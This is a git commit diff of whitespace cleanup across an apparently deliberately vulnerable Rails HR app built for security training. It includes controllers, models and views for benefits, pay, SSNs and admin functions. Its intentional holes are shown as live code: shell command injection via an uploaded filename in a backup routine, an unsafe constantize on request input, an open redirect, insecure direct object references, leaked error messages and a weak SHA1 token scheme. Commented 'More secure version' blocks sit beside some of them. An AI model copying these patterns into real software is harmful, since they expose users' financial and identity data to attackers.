Clean up trailing and leading whitespace

This commit is contained in:
James Espinosa
2014-07-05 19:15:32 -05:00
parent 6ea16fbe18
commit 68e6a01743
75 changed files with 499 additions and 499 deletions
+6 -6
View File
@@ -1,8 +1,8 @@
class AdminController < ApplicationController class AdminController < ApplicationController
before_filter :administrative, :if => :admin_param before_filter :administrative, :if => :admin_param
skip_before_filter :has_info skip_before_filter :has_info
def dashboard def dashboard
end end
@@ -27,14 +27,14 @@ class AdminController < ApplicationController
@users = User.all @users = User.all
render :partial => "layouts/admin/get_all_users" render :partial => "layouts/admin/get_all_users"
end end
def get_user def get_user
@user = User.find_by_id(params[:admin_id].to_s) @user = User.find_by_id(params[:admin_id].to_s)
arr = ["true", "false"] arr = ["true", "false"]
@admin_select = @user.admin ? arr : arr.reverse @admin_select = @user.admin ? arr : arr.reverse
render :partial => "layouts/admin/get_user" render :partial => "layouts/admin/get_user"
end end
def update_user def update_user
user = User.find_by_id(params[:admin_id]) user = User.find_by_id(params[:admin_id])
if user if user
@@ -48,7 +48,7 @@ class AdminController < ApplicationController
format.json { render :json => { :msg => message ? "success" : "failure"} } format.json { render :json => { :msg => message ? "success" : "failure"} }
end end
end end
def delete_user def delete_user
user = User.find_by_user_id(params[:admin_id]) user = User.find_by_user_id(params[:admin_id])
if user && !(current_user.user_id == user.user_id) if user && !(current_user.user_id == user.user_id)
@@ -67,5 +67,5 @@ class AdminController < ApplicationController
def admin_param def admin_param
params[:admin_id] != '1' params[:admin_id] != '1'
end end
end end
+12 -12
View File
@@ -1,23 +1,23 @@
class Api::V1::UsersController < ApplicationController class Api::V1::UsersController < ApplicationController
skip_before_filter :authenticated skip_before_filter :authenticated
before_filter :valid_api_token before_filter :valid_api_token
before_filter :extrapolate_user before_filter :extrapolate_user
respond_to :json respond_to :json
def index def index
# We removed the .as_json code from the model, just seemed like extra work. # We removed the .as_json code from the model, just seemed like extra work.
# dunno, maybe useful at a later time? # dunno, maybe useful at a later time?
#respond_with @user.admin ? User.all.as_json : @user.as_json #respond_with @user.admin ? User.all.as_json : @user.as_json
respond_with @user.admin ? User.all : @user respond_with @user.admin ? User.all : @user
end end
def show def show
respond_with @user.as_json respond_with @user.as_json
end end
private private
def valid_api_token def valid_api_token
@@ -26,7 +26,7 @@ private
identify_user(token) identify_user(token)
end end
end end
def identify_user(token="") def identify_user(token="")
# We've had issues with URL encoding, etc. causing issues so just to be safe # We've had issues with URL encoding, etc. causing issues so just to be safe
# we will go ahead and unescape the user's token # we will go ahead and unescape the user's token
@@ -37,21 +37,21 @@ private
(id && hash) ? true : false (id && hash) ? true : false
check_hash(id, hash) ? true : false check_hash(id, hash) ? true : false
end end
def check_hash(id, hash) def check_hash(id, hash)
digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}") digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
hash == digest hash == digest
end end
# We had some issues with the token and url encoding... # We had some issues with the token and url encoding...
# this is an attempt to normalize the data. # this is an attempt to normalize the data.
def unescape_token(token="") def unescape_token(token="")
@clean_token = CGI::unescape(token) @clean_token = CGI::unescape(token)
end end
# Added a method to make it easy to figure out who the user is. # Added a method to make it easy to figure out who the user is.
def extrapolate_user def extrapolate_user
@user = User.find_by_id(@clean_token.split("-").first) @user = User.find_by_id(@clean_token.split("-").first)
end end
end end
+1 -1
View File
@@ -10,7 +10,7 @@ class ApplicationController < ActionController::Base
def current_user def current_user
@current_user ||= ( @current_user ||= (
User.find_by_auth_token(cookies[:auth_token].to_s) || User.find_by_auth_token(cookies[:auth_token].to_s) ||
User.find_by_user_id(session[:user_id].to_s) User.find_by_user_id(session[:user_id].to_s)
) )
end end
+12 -12
View File
@@ -1,12 +1,12 @@
class BenefitFormsController < ApplicationController class BenefitFormsController < ApplicationController
def index def index
@benefits = Benefits.new @benefits = Benefits.new
end end
def download def download
begin begin
path = params[:name] path = params[:name]
file = params[:type].constantize.new(path) file = params[:type].constantize.new(path)
send_file file, :disposition => 'attachment' send_file file, :disposition => 'attachment'
@@ -14,7 +14,7 @@ class BenefitFormsController < ApplicationController
redirect_to user_benefit_forms_path(:user_id => current_user.user_id) redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
end end
end end
def upload def upload
file = params[:benefits][:upload] file = params[:benefits][:upload]
if file if file
@@ -22,23 +22,23 @@ class BenefitFormsController < ApplicationController
Benefits.save(file, params[:benefits][:backup]) Benefits.save(file, params[:benefits][:backup])
else else
flash[:error] = "Something went wrong" flash[:error] = "Something went wrong"
end end
redirect_to user_benefit_forms_path(:user_id => current_user.user_id) redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
end end
=begin =begin
# More secure version # More secure version
def download def download
file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"} file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}
begin begin
if file_assoc.has_key?(params[:name].to_s) if file_assoc.has_key?(params[:name].to_s)
path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s]) path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
if params[:type] == "File" if params[:type] == "File"
file = params[:type].constantize.new(path) file = params[:type].constantize.new(path)
send_file file, :disposition => 'attachment' send_file file, :disposition => 'attachment'
end end
else else
file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf") file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
send_file file, :disposition => 'attachment' send_file file, :disposition => 'attachment'
end end
@@ -46,7 +46,7 @@ class BenefitFormsController < ApplicationController
redirect_to user_benefit_forms_path(:user_id => current_user.user_id) redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
end end
end end
=end =end
end end
+2 -2
View File
@@ -1,7 +1,7 @@
class DashboardController < ApplicationController class DashboardController < ApplicationController
skip_before_filter :has_info skip_before_filter :has_info
def home def home
@user = current_user @user = current_user
+1 -1
View File
@@ -1,5 +1,5 @@
class PaidTimeOffController < ApplicationController class PaidTimeOffController < ApplicationController
def index def index
@pto = current_user.paid_time_off @pto = current_user.paid_time_off
@schedule = Schedule.new @schedule = Schedule.new
+9 -9
View File
@@ -1,28 +1,28 @@
class PayController < ApplicationController class PayController < ApplicationController
def index def index
end end
def update_dd_info def update_dd_info
msg = false msg = false
pay = Pay.new( pay = Pay.new(
:bank_account_num => params[:bank_account_num], :bank_account_num => params[:bank_account_num],
:bank_routing_num => params[:bank_routing_num], :bank_routing_num => params[:bank_routing_num],
:percent_of_deposit => params[:dd_percent] :percent_of_deposit => params[:dd_percent]
) )
pay.user_id = current_user.user_id pay.user_id = current_user.user_id
msg = true if pay.save! msg = true if pay.save!
respond_to do |format| respond_to do |format|
format.json {render :json => {:msg => msg } } format.json {render :json => {:msg => msg } }
end end
end end
def show def show
respond_to do |format| respond_to do |format|
format.json { render :json => {:user => current_user.pay.as_json} } format.json { render :json => {:user => current_user.pay.as_json} }
end end
end end
def destroy def destroy
pay = Pay.find_by_id(params[:id]) pay = Pay.find_by_id(params[:id])
if pay.present? and pay.destroy if pay.present? and pay.destroy
@@ -32,12 +32,12 @@ class PayController < ApplicationController
end end
redirect_to user_pay_index_path redirect_to user_pay_index_path
end end
def decrypted_bank_acct_num def decrypted_bank_acct_num
decrypted = Encryption.decrypt_sensitive_value(params[:value_to_decrypt]) decrypted = Encryption.decrypt_sensitive_value(params[:value_to_decrypt])
respond_to do |format| respond_to do |format|
format.json {render :json => {:account_num => decrypted || "No Data" }} format.json {render :json => {:account_num => decrypted || "No Data" }}
end end
end end
end end
+2 -2
View File
@@ -1,7 +1,7 @@
class PerformanceController < ApplicationController class PerformanceController < ApplicationController
def index def index
@perf = current_user.performance @perf = current_user.performance
end end
end end
+2 -2
View File
@@ -1,7 +1,7 @@
class RetirementController < ApplicationController class RetirementController < ApplicationController
def index def index
@info = current_user.retirement @info = current_user.retirement
end end
end end
+9 -9
View File
@@ -1,7 +1,7 @@
class ScheduleController < ApplicationController class ScheduleController < ApplicationController
def create def create
message = false message = false
if params[:schedule][:event_type] == "pto" if params[:schedule][:event_type] == "pto"
sched = Schedule.new(params[:schedule]) sched = Schedule.new(params[:schedule])
sched.date_begin, sched.date_end = format_schedule_date(params[:date_range1]) sched.date_begin, sched.date_end = format_schedule_date(params[:date_range1])
@@ -11,12 +11,12 @@ class ScheduleController < ApplicationController
message = true message = true
end end
end end
respond_to do |format| respond_to do |format|
format.json {render :json => {:msg => message ? "success" : "failure" }} format.json {render :json => {:msg => message ? "success" : "failure" }}
end end
end end
def get_pto_schedule def get_pto_schedule
begin begin
schedules = current_user.paid_time_off.schedule schedules = current_user.paid_time_off.schedule
@@ -29,17 +29,17 @@ class ScheduleController < ApplicationController
hash[:end] = s[:date_end] hash[:end] = s[:date_end]
jfs << hash jfs << hash
end end
rescue rescue
end end
respond_to do |format| respond_to do |format|
format.json do format.json do
render :json => jfs.to_json render :json => jfs.to_json
end end
end end
end end
private private
# Returns a two part array consisting of dates # Returns a two part array consisting of dates
# First value is the begin date and the second is the end date # First value is the begin date and the second is the end date
def format_schedule_date(date_array) def format_schedule_date(date_array)
@@ -50,10 +50,10 @@ class ScheduleController < ApplicationController
date = Date.strptime(s.strip, '%m/%d/%Y') date = Date.strptime(s.strip, '%m/%d/%Y')
vals <<(date) vals <<(date)
end end
rescue ArgumentError rescue ArgumentError
return [] return []
end end
return vals return vals
end end
end end
+8 -8
View File
@@ -1,22 +1,22 @@
class SessionsController < ApplicationController class SessionsController < ApplicationController
skip_before_filter :has_info skip_before_filter :has_info
skip_before_filter :authenticated, :only => [:new, :create] skip_before_filter :authenticated, :only => [:new, :create]
def new def new
@url = params[:url] @url = params[:url]
redirect_to home_dashboard_index_path if current_user redirect_to home_dashboard_index_path if current_user
end end
def create def create
path = params[:url].present? ? params[:url] : home_dashboard_index_path path = params[:url].present? ? params[:url] : home_dashboard_index_path
begin begin
# Normalize the email address, why not # Normalize the email address, why not
user = User.authenticate(params[:email].to_s.downcase, params[:password]) user = User.authenticate(params[:email].to_s.downcase, params[:password])
# @url = params[:url] # @url = params[:url]
rescue Exception => e rescue Exception => e
end end
if user if user
if params[:remember_me] if params[:remember_me]
cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists? cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists?
@@ -26,12 +26,12 @@ class SessionsController < ApplicationController
redirect_to path redirect_to path
else else
# Removed this code, just doesn't seem specific enough! # Removed this code, just doesn't seem specific enough!
# flash[:error] = "Either your username and password is incorrect" # flash[:error] = "Either your username and password is incorrect"
flash[:error] = e.message flash[:error] = e.message
render "new" render "new"
end end
end end
def destroy def destroy
cookies.delete(:auth_token) cookies.delete(:auth_token)
reset_session reset_session
+23 -23
View File
@@ -1,26 +1,26 @@
class TutorialsController < ApplicationController class TutorialsController < ApplicationController
skip_before_filter :has_info skip_before_filter :has_info
skip_before_filter :authenticated skip_before_filter :authenticated
def index def index
end end
def credentials def credentials
render :partial => "layouts/tutorial/credentials/creds" render :partial => "layouts/tutorial/credentials/creds"
end end
def show def show
render "injection" render "injection"
end end
def injection def injection
end end
def xss def xss
@code = %{ @code = %{
<li style="color: #FFFFFF"> <li style="color: #FFFFFF">
<!-- <!--
I'm going to use HTML safe because we had some weird stuff I'm going to use HTML safe because we had some weird stuff
going on with funny chars and jquery, plus it says safe so I'm guessing going on with funny chars and jquery, plus it says safe so I'm guessing
nothing bad will happen nothing bad will happen
@@ -29,13 +29,13 @@ class TutorialsController < ApplicationController
</li> </li>
} }
end end
def broken_auth def broken_auth
end end
def insecure_dor def insecure_dor
end end
def csrf def csrf
@meta_code_bad = %{<%#= csrf_meta_tags %> <!-- <~ What is this for? I hear it helps w/ JS and Sea-surfing.....whatevz -->} @meta_code_bad = %{<%#= csrf_meta_tags %> <!-- <~ What is this for? I hear it helps w/ JS and Sea-surfing.....whatevz -->}
@meta_code_good = %{<%= csrf_meta_tags %> } @meta_code_good = %{<%= csrf_meta_tags %> }
@@ -55,10 +55,10 @@ class TutorialsController < ApplicationController
\} \}
\}); \});
\}); \});
\} } \} }
end end
def misconfig def misconfig
end end
@@ -67,33 +67,33 @@ class TutorialsController < ApplicationController
def access_control def access_control
end end
def crypto def crypto
end end
def url_access def url_access
end end
def ssl_tls def ssl_tls
end end
def redirects def redirects
end end
def guard def guard
end end
def logic_flaws def logic_flaws
end end
def mass_assignment def mass_assignment
end end
def guantlt def guantlt
end end
def metaprogramming def metaprogramming
end end
end end
+5 -5
View File
@@ -1,8 +1,8 @@
class WorkInfoController < ApplicationController class WorkInfoController < ApplicationController
def index def index
@user = User.find_by_user_id(params[:user_id]) @user = User.find_by_user_id(params[:user_id])
if !(@user) || @user.admin if !(@user) || @user.admin
flash[:error] = "Sorry, no user with that user id exists" flash[:error] = "Sorry, no user with that user id exists"
redirect_to home_dashboard_index_path redirect_to home_dashboard_index_path
end end
@@ -12,11 +12,11 @@ class WorkInfoController < ApplicationController
# More secure version # More secure version
def index def index
@user = current_user @user = current_user
if !(@user) || @user.admin if !(@user) || @user.admin
flash[:error] = "Apologies, looks like something went wrong" flash[:error] = "Apologies, looks like something went wrong"
redirect_to home_dashboard_index_path redirect_to home_dashboard_index_path
end end
end end
=end =end
end end
+7 -7
View File
@@ -1,6 +1,6 @@
class Benefits < ActiveRecord::Base class Benefits < ActiveRecord::Base
attr_accessor :backup attr_accessor :backup
def self.save(file, backup=false) def self.save(file, backup=false)
data_path = Rails.root.join("public", "data") data_path = Rails.root.join("public", "data")
full_file_name = "#{data_path}/#{file.original_filename}" full_file_name = "#{data_path}/#{file.original_filename}"
@@ -9,18 +9,18 @@ class Benefits < ActiveRecord::Base
f.close f.close
make_backup(file, data_path, full_file_name) if backup == "true" make_backup(file, data_path, full_file_name) if backup == "true"
end end
def self.make_backup(file, data_path, full_file_name) def self.make_backup(file, data_path, full_file_name)
if File.exists?(full_file_name) if File.exists?(full_file_name)
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{file.original_filename}") } silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{file.original_filename}") }
end end
end end
=begin =begin
def self.make_backup(file, data_path, full_file_name) def self.make_backup(file, data_path, full_file_name)
FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}" FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}"
end end
=end =end
def self.silence_streams(*streams) def self.silence_streams(*streams)
on_hold = streams.collect { |stream| stream.dup } on_hold = streams.collect { |stream| stream.dup }
@@ -34,5 +34,5 @@ class Benefits < ActiveRecord::Base
stream.reopen(on_hold[i]) stream.reopen(on_hold[i])
end end
end end
end end
+1 -1
View File
@@ -2,5 +2,5 @@ class KeyManagement < ActiveRecord::Base
attr_accessible :iv, :user_id attr_accessible :iv, :user_id
belongs_to :work_info belongs_to :work_info
belongs_to :user belongs_to :user
end end
+2 -2
View File
@@ -6,11 +6,11 @@ class PaidTimeOff < ActiveRecord::Base
def sick_days_remaining def sick_days_remaining
self.sick_days_earned - self.sick_days_taken self.sick_days_earned - self.sick_days_taken
end end
def pto_days_remaining def pto_days_remaining
self.pto_earned - self.pto_taken self.pto_earned - self.pto_taken
end end
def sick_days_taken_percentage def sick_days_taken_percentage
result = self.sick_days_taken.to_f / self.sick_days_earned.to_f * 100.0 result = self.sick_days_taken.to_f / self.sick_days_earned.to_f * 100.0
end end
+8 -8
View File
@@ -1,25 +1,25 @@
class Pay < ActiveRecord::Base class Pay < ActiveRecord::Base
# mass-assignable attributes # mass-assignable attributes
attr_accessible :bank_account_num, :bank_routing_num, :percent_of_deposit attr_accessible :bank_account_num, :bank_routing_num, :percent_of_deposit
# Associations # Associations
belongs_to :user belongs_to :user
# Validations # Validations
validates :bank_account_num, presence: true validates :bank_account_num, presence: true
validates :bank_routing_num, presence: true validates :bank_routing_num, presence: true
validates :percent_of_deposit, presence: true validates :percent_of_deposit, presence: true
# callbacks # callbacks
before_save :encrypt_bank_account_num before_save :encrypt_bank_account_num
def as_json def as_json
super(only: [:bank_account_num, :bank_routing_num, :percent_of_deposit, :id]) super(only: [:bank_account_num, :bank_routing_num, :percent_of_deposit, :id])
end end
def encrypt_bank_account_num def encrypt_bank_account_num
self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num) self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
end end
end end
+2 -2
View File
@@ -1,7 +1,7 @@
class Performance < ActiveRecord::Base class Performance < ActiveRecord::Base
attr_accessible :comments, :date_submitted, :reviewer, :score attr_accessible :comments, :date_submitted, :reviewer, :score
belongs_to :user belongs_to :user
def reviewer_name def reviewer_name
u = User.find_by_id(self.reviewer) u = User.find_by_id(self.reviewer)
u.full_name if u.respond_to?('fullname') u.full_name if u.respond_to?('fullname')
+1 -1
View File
@@ -1,6 +1,6 @@
class Schedule < ActiveRecord::Base class Schedule < ActiveRecord::Base
attr_accessible :date_begin, :date_end, :event_desc, :event_name, :event_type attr_accessible :date_begin, :date_end, :event_desc, :event_name, :event_type
belongs_to :paid_time_off belongs_to :paid_time_off
validates_presence_of :date_begin, :date_end, :event_desc, :event_name, :event_type validates_presence_of :date_begin, :date_end, :event_desc, :event_name, :event_type
end end
+10 -10
View File
@@ -13,7 +13,7 @@ class User < ActiveRecord::Base
:confirmation => true, :confirmation => true,
:if => :password, :if => :password,
:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/} :format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
=end =end
validates_presence_of :email validates_presence_of :email
validates_uniqueness_of :email validates_uniqueness_of :email
validates_format_of :email, :with => /.+@.+\..+/i validates_format_of :email, :with => /.+@.+\..+/i
@@ -37,11 +37,11 @@ class User < ActiveRecord::Base
#work_info.build_key_management(:iv => SecureRandom.hex(32)) #work_info.build_key_management(:iv => SecureRandom.hex(32))
performance.build(POPULATE_PERFORMANCE.shuffle.first) performance.build(POPULATE_PERFORMANCE.shuffle.first)
end end
def full_name def full_name
"#{self.first_name} #{self.last_name}" "#{self.first_name} #{self.last_name}"
end end
=begin =begin
# Instead of the entire user object being returned, we can use this to filter. # Instead of the entire user object being returned, we can use this to filter.
def as_json def as_json
@@ -59,10 +59,10 @@ private
auth = user auth = user
else else
raise "Incorrect Password!" raise "Incorrect Password!"
end end
return auth return auth
end end
=begin =begin
# More secure version, still lacking a decent hashing routine, this is for timing attack prevention # More secure version, still lacking a decent hashing routine, this is for timing attack prevention
def self.authenticate(email, password) def self.authenticate(email, password)
@@ -71,9 +71,9 @@ private
return user return user
else else
raise "Incorrect username or password" raise "Incorrect username or password"
end end
end end
=end =end
def assign_user_id def assign_user_id
unless @skip_user_id_assign.present? || self.user_id.present? unless @skip_user_id_assign.present? || self.user_id.present?
@@ -82,7 +82,7 @@ private
self.user_id = uid.to_s if uid self.user_id = uid.to_s if uid
end end
end end
def hash_password def hash_password
unless @skip_hash_password == true unless @skip_hash_password == true
if password.present? if password.present?
@@ -90,7 +90,7 @@ private
end end
end end
end end
def generate_token(column) def generate_token(column)
begin begin
self[column] = Encryption.encrypt_sensitive_value(self.user_id) self[column] = Encryption.encrypt_sensitive_value(self.user_id)
+8 -8
View File
@@ -3,13 +3,13 @@ class WorkInfo < ActiveRecord::Base
belongs_to :user belongs_to :user
has_one :key_management, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy has_one :key_management, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
#before_save :encrypt_ssn #before_save :encrypt_ssn
# We should probably use this # We should probably use this
def last_four def last_four
"***-**-" << self.decrypt_ssn[-4,4] "***-**-" << self.decrypt_ssn[-4,4]
end end
def encrypt_ssn def encrypt_ssn
aes = OpenSSL::Cipher::Cipher.new(cipher_type) aes = OpenSSL::Cipher::Cipher.new(cipher_type)
aes.encrypt aes.encrypt
@@ -18,7 +18,7 @@ class WorkInfo < ActiveRecord::Base
self.encrypted_ssn = aes.update(self.SSN) + aes.final self.encrypted_ssn = aes.update(self.SSN) + aes.final
self.SSN = nil self.SSN = nil
end end
def decrypt_ssn def decrypt_ssn
aes = OpenSSL::Cipher::Cipher.new(cipher_type) aes = OpenSSL::Cipher::Cipher.new(cipher_type)
aes.decrypt aes.decrypt
@@ -26,19 +26,19 @@ class WorkInfo < ActiveRecord::Base
aes.iv = iv if iv != nil aes.iv = iv if iv != nil
aes.update(self.encrypted_ssn) + aes.final aes.update(self.encrypted_ssn) + aes.final
end end
def key def key
raise "Key Missing" if !(KEY) raise "Key Missing" if !(KEY)
KEY KEY
end end
def iv def iv
raise "No IV for this User" if !(self.key_management.iv) raise "No IV for this User" if !(self.key_management.iv)
self.key_management.iv self.key_management.iv
end end
def cipher_type def cipher_type
'aes-256-cbc' 'aes-256-cbc'
end end
end end
+5 -5
View File
@@ -11,7 +11,7 @@
</p> </p>
</div> </div>
</div> </div>
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <div class="span12">
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in"> <div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
@@ -34,15 +34,15 @@
</div> </div>
</div> </div>
<div id="userDataTable" class="widget-body"> <div id="userDataTable" class="widget-body">
</div> <!-- End widget-body--> </div> <!-- End widget-body-->
</div> <!-- End widget header--> </div> <!-- End widget header-->
</div> </div>
</div> </div>
</div> </div>
</div> </div>
<%= javascript_include_tag "jquery.dataTables.js"%> <%= javascript_include_tag "jquery.dataTables.js"%>
+11 -11
View File
@@ -2,7 +2,7 @@
<div class="main-container"> <div class="main-container">
<div class="row-fluid"> <div class="row-fluid">
<div class="span4"> <div class="span4">
<div class="widget"> <div class="widget">
<div class="widget-header"> <div class="widget-header">
@@ -21,14 +21,14 @@
PDF PDF
</span> </span>
</div> </div>
</div> </div>
<% end %> <% end %>
</div> </div>
<!-- End Widget Body --> <!-- End Widget Body -->
</div> </div>
</div> </div>
<div class="span4"> <div class="span4">
<div class="widget"> <div class="widget">
<div class="widget-header"> <div class="widget-header">
@@ -47,11 +47,11 @@
PDF PDF
</span> </span>
</div> </div>
</div> </div>
<% end %> <% end %>
</div> </div>
<!-- End Widget Body --> <!-- End Widget Body -->
</div> </div>
</div> </div>
</div> </div>
@@ -108,27 +108,27 @@
</div> </div>
</div> </div>
</div> </div>
</div> </div>
<script type="text/javascript"> <script type="text/javascript">
$(function() { $(function() {
$("#benefits_upload").change(function (){ $("#benefits_upload").change(function (){
var fileName = $(this).val(); var fileName = $(this).val();
$(".filename").html(fileName); $(".filename").html(fileName);
}); });
}); });
function makeActive(){ function makeActive(){
$('li[id="benefit_forms"]').addClass('active'); $('li[id="benefit_forms"]').addClass('active');
}; };
$(document).ready( $(document).ready(
makeActive makeActive
); );
</script> </script>
+5 -5
View File
@@ -1,19 +1,19 @@
<div class="dashboard-wrapper"> <div class="dashboard-wrapper">
<div class="main-container"> <div class="main-container">
<div class="row-fluid"> <div class="row-fluid">
<div class="span12"> <!--begin span12 --> <div class="span12"> <!--begin span12 -->
<% if @user.paid_time_off %> <% if @user.paid_time_off %>
<%= render :partial => "layouts/dashboard/dashboard_stats"%> <%= render :partial => "layouts/dashboard/dashboard_stats"%>
<% end %> <% end %>
</div> <!-- end span12 --> </div> <!-- end span12 -->
</div> </div>
</div> </div>
</div> </div>
<script type="text/javascript"> <script type="text/javascript">
function makeActive(){ function makeActive(){
$('li[id="home"]').addClass('active'); $('li[id="home"]').addClass('active');
+3 -3
View File
@@ -6,11 +6,11 @@
</form> </form>
<div id="dt_example" class="example_alt_pagination"> <div id="dt_example" class="example_alt_pagination">
<table class="table table-striped table-hover table-bordered pull-left" id="data-table"> <table class="table table-striped table-hover table-bordered pull-left" id="data-table">
<thead> <thead>
<tr> <tr>
<% <%
count = (params[:field] ? params[:field].count : 3) count = (params[:field] ? params[:field].count : 3)
count.times do %> count.times do %>
<td>&nbsp;</td> <td>&nbsp;</td>
<% end %> <% end %>
@@ -1,5 +1,5 @@
<div id="dt_example" class="example_alt_pagination"> <div id="dt_example" class="example_alt_pagination">
<table class="table table-striped table-hover table-bordered pull-left" id="data-table"> <table class="table table-striped table-hover table-bordered pull-left" id="data-table">
<thead> <thead>
<tr> <tr>
<th> <th>
@@ -29,7 +29,7 @@
<%= u.admin ? %{<span class="fs1" aria-hidden="true" data-icon="&#xe0fe;"}.html_safe : nil %> <%= u.admin ? %{<span class="fs1" aria-hidden="true" data-icon="&#xe0fe;"}.html_safe : nil %>
</td> </td>
<td> <td>
<%= link_to "Edit", "#", {:onClick => "javascript:openEditModal(#{u.id});", :role => "button", :style => "width:70px", :class => "btn btn-inverse", "data-toggle" => "modal"}%> <%= link_to "Edit", "#", {:onClick => "javascript:openEditModal(#{u.id});", :role => "button", :style => "width:70px", :class => "btn btn-inverse", "data-toggle" => "modal"}%>
</td> </td>
</tr> </tr>
<% end %> <% end %>
+16 -16
View File
@@ -11,46 +11,46 @@
</h4> </h4>
</div> </div>
<div class="modal-body"> <div class="modal-body">
<div class="row-fluid"> <div class="row-fluid">
<div class="span8"> <div class="span8">
<%= form_for @user, :html => {:id => "account_edit"} do |f| %> <%= form_for @user, :html => {:id => "account_edit"} do |f| %>
<div class="control-group"> <div class="control-group">
<%= f.label :email, nil, {:class => "control-label"}%> <%= f.label :email, nil, {:class => "control-label"}%>
<%= f.text_field :email, {:class => "span12"}%> <%= f.text_field :email, {:class => "span12"}%>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :first_name, nil, {:class => "control-label"}%> <%= f.label :first_name, nil, {:class => "control-label"}%>
<%= f.text_field :first_name, {:class => "span12"} %> <%= f.text_field :first_name, {:class => "span12"} %>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :last_name, nil, {:class => "control-label"}%> <%= f.label :last_name, nil, {:class => "control-label"}%>
<%= f.text_field :last_name, {:class => "span12"} %> <%= f.text_field :last_name, {:class => "span12"} %>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :password, nil, {:class => "control-label"}%> <%= f.label :password, nil, {:class => "control-label"}%>
<%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%> <%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%>
</div> </div>
<div class="control-group"> <div class="control-group">
<%= f.label :password_confirmation, nil, {:class => "control-label"}%> <%= f.label :password_confirmation, nil, {:class => "control-label"}%>
<%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %> <%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %>
</div> </div>
<%= f.label :admin, nil, {:class => "control-label"}%> <%= f.label :admin, nil, {:class => "control-label"}%>
<%= f.select(:admin, @admin_select) %> <%= f.select(:admin, @admin_select) %>
</div> </div>
</div> </div>
<div class="row-fluid"> <div class="row-fluid">
</div> </div>
</div> </div>
<div class="modal-footer"> <div class="modal-footer">
<button class="btn" data-dismiss="modal" aria-hidden="true"> <button class="btn" data-dismiss="modal" aria-hidden="true">
Close Close
</button> </button>
<%= link_to "Delete", "#", {:id => "delete_button", :class => "btn btn-danger pull-left"} %> <%= link_to "Delete", "#", {:id => "delete_button", :class => "btn btn-danger pull-left"} %>
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-primary pull-right"} %> <%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-primary pull-right"} %>
</div> </div>
<% end %> <% end %>
@@ -60,10 +60,10 @@
<script type="text/javascript"> <script type="text/javascript">
$('#submit_button').click(function() { $('#submit_button').click(function() {
var valuesToSubmit = $("#account_edit").serialize(); var valuesToSubmit = $("#account_edit").serialize();
$("#editAcct").modal('hide'); $("#editAcct").modal('hide');
$.ajax({ $.ajax({
url: "/admin/" + <%= @user.user_id %> + "/update_user.json", url: "/admin/" + <%= @user.user_id %> + "/update_user.json",
data: valuesToSubmit, data: valuesToSubmit,
@@ -76,12 +76,12 @@ $('#submit_button').click(function() {
$('#failure').show(500).delay(1500).fadeOut(); $('#failure').show(500).delay(1500).fadeOut();
} }
}); });
}); });
$('#delete_button').click(function() { $('#delete_button').click(function() {
$("#editAcct").modal('hide'); $("#editAcct").modal('hide');
$.ajax({ $.ajax({
url: "/admin/" + <%= params[:admin_id] %> + "/delete_user.json", url: "/admin/" + <%= params[:admin_id] %> + "/delete_user.json",
type: "POST", type: "POST",
@@ -93,7 +93,7 @@ $('#delete_button').click(function() {
$('#failure').show(500).delay(1500).fadeOut(); $('#failure').show(500).delay(1500).fadeOut();
} }
}); });
}); });
</script> </script>
+7 -7
View File
@@ -16,26 +16,26 @@ end
</head> </head>
<body> <body>
<% if current_user %> <% if current_user %>
<%= render "layouts/shared/header" %> <%= render "layouts/shared/header" %>
<%= render "layouts/shared/sidebar" %> <%= render "layouts/shared/sidebar" %>
<% else %> <% else %>
<%= render "layouts/tutorial/header" %> <%= render "layouts/tutorial/header" %>
<%= render "layouts/tutorial/sidebar" %> <%= render "layouts/tutorial/sidebar" %>
<% end %> <% end %>
<div class="container-fluid"> <div class="container-fluid">
<div class="dashboard-wrapper"> <div class="dashboard-wrapper">
<%= render "layouts/shared/messages" %> <%= render "layouts/shared/messages" %>
<%= yield %> <%= yield %>
</div> </div>
</div> </div>
<%= render "layouts/shared/footer" %> <%= render "layouts/shared/footer" %>
<script type="text/javascript"> <script type="text/javascript">
//Dropdown //Dropdown
$('.dropdown-toggle').dropdown(); $('.dropdown-toggle').dropdown();
</script> </script>
</body> </body>
</html> </html>
